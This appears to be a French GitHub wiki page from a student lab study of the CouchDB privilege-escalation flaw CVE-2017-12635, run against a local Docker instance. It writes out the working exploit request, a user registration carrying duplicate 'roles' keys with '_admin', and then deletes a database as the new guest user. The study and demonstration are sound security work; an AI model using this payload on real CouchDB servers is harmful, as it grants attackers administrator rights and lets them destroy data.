Escalade de Privilege {Mise en en évidence de la faille 12635} - Guillaumeclavel/Etude_Faille_CVE_12636 GitHub Wiki
curl -X GET http://localhost:5984/_all_dbs
Ligne de commande permettant de voir toutes les bases de données créées
curl -X PUT http://localhost:5984/records
Via la ligne de commande précédente, on peut voir que la BDD "records" a été créé
curl -X PUT http://localhost:5984/_config/admins/admin -d '"admin"'
> Par défaut, pas de compte "admin". La ligne de de commande au dessus, active la création d'un administrateur avec le log : admin, mdp : admin
- Sans l'identification ADMIN :
curl -X PUT http://localhost:5984/new_recordsPas bon car par le bon compte utilisateur.
- Avec l'identification ADMIN :
curl -X PUT http://admin:admin@localhost:5984/new_recordsLigne de commande fonctionnelle car utilisation du compte admin.
-
Ajout d'un nouvel utilisateur, sans droit particulier
curl -X PUT http://localhost:5984/_users/org.couchdb.user:guest \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d '{"name": "guest", "password": "guest", "roles": ["_admin"], "roles": [], "type": "user"}'Exploitation de la Faille 12635 => 2 "roles" déclarés pour l'utilisateur guest avec le premier
"_admin" -
Tentative de suppression de la base de données créée précédement, sans identifiant :
curl -X DELETE http://localhost:5984/new_recordsNe fonctionne pas car pas de droit.
-
Tentative de suppression de la base de données, sous identification 'guest'
curl -X DELETE http://guest:guest@localhost:5984/new_recordsLa base de donnée est supprimée ! Le compte "guest" possède le "rôle"
"admin!
Un utilisateur mal intentionné peut donc "outre passer" les restrictions souhaitées par l'administrateur
> Escalade de privilège
Remarques de Julien Roussely : démarrer l'expérimentation en étant sûr que les 2 dockers lancés par le docker-compose ont bien été supprimés après une dernière mise en oeuvre. On fait (docker ps -a) pour vérifier les dockers qui tournent. Si l'un ou les 2 dockers tournent encore alors il faut les arrêter (docker stop ) puis les détruire (docker rm ). En ce qui me concerne je n'ai pas un profil adminitrateur par défaut au début de l'expérimentation (je n'ai pas accès à la base). J'obtiens l'accès en créant le compte guest.